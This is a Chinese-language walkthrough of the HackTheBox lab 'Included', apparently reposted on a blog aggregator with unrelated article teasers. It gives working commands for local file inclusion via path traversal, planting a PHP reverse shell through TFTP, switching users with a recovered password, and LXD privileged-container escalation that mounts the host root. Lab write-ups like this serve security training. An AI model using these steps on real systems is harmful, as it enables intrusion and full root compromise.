HTB_Inclued_TFTP文件包含与LXD提权

news2024/12/25 23:58:11

文章目录

    • 信息收集
    • TFTP
    • LXD 提权
    • 环境安装报错

信息收集

开放80端口,urlhttp://ip:port?file=home.php

测试文件包含,本地包含成功,远程失败,尝试上传后门木马反弹shell

根据图示,网站目录为var/www,其他功能都是死页面

在这里插入图片描述

使用udp扫描,发现五个端口

nmap -sV -v -sU ip

在这里插入图片描述

TFTP

TFTP是简单的文字模式的 FTP 程序,使用的指令和 FTP 类似,尝试上传文件然后包含

要解决的是目录问题,查看etc\passwd文件,其默认目录为/var/lib/tftpboot,上传后可以尝试访问如下路径

http://10.129.140.193/?file=../../../../../../../var/lib/tftpboot/php-reverse-shell.php

连接tftp,并上传文件

tftp ip
put php-reverse-shell.php

在这里插入图片描述

访问路径后,成功回弹

在这里插入图片描述

python3 -c 'import pty;pty.spawn("/bin/bash")'

无权限

在这里插入图片描述

翻文件目录。找到账号密码

ls -al

在这里插入图片描述

转换用户,查看user.txt

su mike
Sheffield19

LXD 提权

Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源

Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作

总之,使用起来很类似docker

在这里插入图片描述

原理据查询:一个低许可权的使用者能够建立一个用于host和container通讯的socket,当将host中已经建立的一个socket和container连接后,它们之间的连线通讯以LXD服务的凭证(root许可权)而不是呼叫使用者的凭证,所以当container中传送socket和后渗透通讯时,此时host端的socket则是root许可权,所以关键就是怎么在一个得到一个root socket是实现提权

在这里插入图片描述

lxd是一个管理程序 apt install lxd
将用户添加到lxd组 id->uid=1000 gid..128(lxd)
lxd init 初始化配置
创建一个容器 lcx launch ubuntu18.04
与容器建立连接 lcx exec 容器名 --/bin/bash

攻击机root权限用户执行如下命令,构建一个最小的容器镜像

wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
# 以root权限构建
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8

在这里插入图片描述

Alpine Linux 是一个围绕 musl libc 和 BusyBox 构建的 Linux 发行版。该镜像只有 5 MB 大小(本次安装只有1.96M),并且可以访问比其他基于 BusyBox 的镜像更完整的包存储库

本机监听

python3 -m http.server 8000

目标主机下载,在根目录cd ~下载的,其他目录很多没有写入权限

wget http://10.10.16.9:8000/lxd.tar.xz
wget http://10.10.16.9:8000/rootfs.squashfs

在这里插入图片描述

导入镜像

# --alias alpine 设置别名
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

查看镜像

在这里插入图片描述

把宿主机的盘挂载到容器中,这样操作容器就是操作真实宿主机的文件系统

# 将security.privileged设置为true 以便容器具有根文件系统所具有的所有权限
# alpine为镜像别名 privesc为自定义名称
lxc init alpine privesc -c security.privileged=true
# 把source参数的宿主机目录挂载到path参数的容器目录中实现共享
# 宿主机将 / 根目录映射到容器(linux) /mnt/目录下新建的目录root
# source=/root path=/dir01
# 此处可以创建多个不同名称的基于alpine的容器 从容器镜像启动容器
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
# 启动容器 privesc
lxc start privesc
# 启动shell
lxc exec privesc /bin/sh

在这里插入图片描述

# 查看文件 /mnt/root/目录下映射了宿主机根目录下所有的文件
cd /mnt/root/root
cat root.txt

在这里插入图片描述

环境安装报错

ps:安装软件总报如下错误

在这里插入图片描述

解决方法:

cd /etc/apt/sources.list.d
rm docker.list
apt-get update

在这里插入图片描述

解决方法:

apt-get install libc6-dev

签名无效

在这里插入图片描述

解决方法:

wget archive.kali.org/archive-key.asc   //下载签名
apt-key add archive-key.asc   //安装签名

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/189134.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

minio 使用docker安装和入门案例demo

minio目录1.安装2.页面web访问3.在界面上传4.使用api上传5.使用api下载目录 公司目前用到文件上传,考虑到费用等情况,可以在公司自己的服务器上搭建一下。本人记录minio的使用情况。 “前些天发现了一个巨牛的人工智能学习网站,通俗易懂&…

搭建 SpringBoot 项目

创建 SpringBoot 项目 配置application.properties 根据自己数据库进行配置 spring.datasource.nameexamspring.datasource.driver-class-namecom.mysql.cj.jdbc.Driver spring.datasource.usernameroot spring.datasource.passwordroot spring.datasource.urljdbc:mysql://1…

振弦采集模块VMTool配置工具 快速测试功能

振弦采集模块VMTool配置工具 快速测试功能 本章演示在计算机上通过 VMTool 工具读取振弦传感器数据。 假设您的计算机已经有至少一个空闲的 COM 接口。 1 检查 COM 接口名称 在操作系统桌面右键点击“ 我的电脑” , 选择【 属性】,弹出计算机属性对话框&…

X-Bogus流程分析

声明:本文仅限学习交流使用,禁止用于非法用途、商业活动等。否则后果自负。如有侵权,请告知删除,谢谢!本教程也没有专门针对某个网站而编写,单纯的技术研究 目录 一、混淆还原 二、插桩还原 三、还原X-B…

关于Vue中Diff算法详解

一、(Diff)是什么? diff 算法是一种通过同层的树节点进行比较的高效算法 1.1. 特点: 比较只会在同层级进行, 不会跨层级比较在diff比较的过程中,循环从两边向中间比较diff 算法的在很多场景下都有应用,在 vue 中,作用于虚拟 dom…

DAMA数据管理知识体系指南之数据治理

第3章 数据治理 3.1 简介 数据治理是对数据资产管理行使权力和控制的活动集合(规划、监控和执行)。数据治理职能指导其他数据管理职能如何执行。数据治理是在高层次上执行数据管理制度。 3.2 概念和活动 有效的数据管理,特别是在数据治理方面&#…

2023最新前端面试题4(持续更新)

JavaScript 59、JS的几条基本规范 1、不要在同一行声明多个变量 2、请使用/!来比较true/false或者数值 3、使用对象字面量替代new Array这种形式 4、不要使用全局变量 5、Switch语句必须带有default分支 6、函数不应该有时候有返回值,有时候没有返回值 …

如何写出有效的单元测试?

如何写出有效的单元测试? 目录:导读 什么是单元测试 为什么需要单元测试 什么是有效的单元测试 为什么有效的单元测试如此重要 如何写有效的单元测试 补充单元测试应该从哪里开始 可测试的设计 单元测试与重构 做不到TDD,可以做到测…

LaoCat带你认识容器与镜像(四【下】)

基础概念章节是告一段落了,不知道各位童鞋是否阅读的顺畅,欢迎各位童鞋踊跃的提出意见和看法并指正。 本章内容 Dockerfile基础命令详解。 本文实操全部基于Ubuntu 20.04 宿主机 > linux服务器本身 上节粗略介绍了Dockerfile相关命令,这节…

国电投-风机叶片开裂故障预警比赛(记录)

1 前言 1-1 简介 DataFountain平台举办的比赛,赛题:风机叶片开裂故障预警。以下是比赛链接:风机叶片开裂故障预警 Competitions - DataFountain 1-2 任务背景 SCADA是风场设备管理、监测、和控制的重要系统,通过实时收集风机运行的环境参数、…

oracle direct path read等待事件处理案例

一 问题描述 收到短信告警,提示direct path read(110)。 直接路径读取不过SGA缓存,直接从磁盘上读数据,每次查询都会产生大量的物理读,导致IO比较高,影响数据库性能。 二 排查思路 生成AWR报告及ASH报告&#xff0…

springboot 整合mybatis-plus的自动生成代码包含service和controller

版本信息springboot&#xff1a;<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.1.13.RELEASE</version></parent>mybatis相关依赖版本如下&#xff1a…

压缩包文件上传导致覆盖rce

制作恶意压缩包 tgao.jsp文件内容&#xff1a; <html> <body><%out.println("zip slip getshell.");%> </body> </html>编写python脚本将jsp文件内容内容压缩至DocSystem.war中&#xff0c;并指定name为../../DocSystem/tgao.jsp&am…

ElasticSearch - RestClient查询文档

目录 查询文档-快速入门 查询文档-match查询 查询文档-精确查询 查询文档-布尔查询 查询文档-排序和分页 查询文档-高亮显示 查询文档-快速入门 文档的查询基本步骤包括&#xff1a; (1)准备Request对象(2)准备请求参数&#xff0c;构建查询条件(3)发起请求&#xff0c;得…

OpenSSL下载安装教程

OpenSSL下载 &#xff08;加急&#xff09;下载地址&#xff1a;Win32/Win64 OpenSSL Installer for Windows - Shining Light Productions 首先&#xff0c;进入官网 Shining Light Productions - Home &#xff0c;可以看到如下界面&#xff1a; 这里演示用的版本是V1.1的版…

nodejs+vue考研信息查询系统vscode项目

目 录 摘 要 I ABSTRACT II 目 录 II 第1章 绪论 1 1.1背景及意义 1 1.2 国内外研究概况 1 1.3 研究的内容 1 第2章 相关技术 2 第3章 系统分析 3 3.1 需求分析 3 3.2 系统可行性分析 4 3.2.1技术可行性&#xff1a;技术背景 4 3.2.2经…

2023蓝桥杯学习与刷题建议

前两天天给你们组了队&#xff0c;经过两天发现各位都有这样的问题&#xff1a; 不愿意交流。小组不会规划刷题计划。可能是因为没有人带头和具体刷题计划&#xff0c;所以都处于迷茫&#xff0c;不交流、不刷题。还有可能是大家都不认识&#xff0c;都比较羞涩。同时也有我个…

OSCP_VULHUB_DC: 2

文章目录前言信息收集Web账号密码爆破ssh登录绕过rbash限制git提权前言 kali攻击&#xff1a;192.168.132.139 目标主机&#xff1a;192.168.132.146 环境配置参照https://www.vulnhub.com/entry/dc-2,311/ 下载&#xff1a;https://download.vulnhub.com/dc/DC-2.zip 信息收…

开发第四天+第五天读书笔记

首先用C语言实现内存写入: 光是成功的让画面黑屏是不够的&#xff0c;还是要往画面上画点什么。首先修改naskfunc.nas。写成这样&#xff1a; ; naskfunc ; TAB4[FORMAT "WCOFF"] ; 创建对象文件的模式 [INSTRSET "i486p"] …

Linux进程间通信(基于管道通信)

目录 一、进程间通信 1.1 通信目的 1.2 通信发展 二、管道 2.1 管道的概念和分类 2.2 匿名管道 2.2.1 匿名管道&#xff08;基于父子血缘关系) 2.2.2 匿名管道单向性 2.2.3 匿名管道是内存级别文件 2.2.4 匿名管道指令实现 2.2.5 代码实现匿名管道&#xff08;pipe()…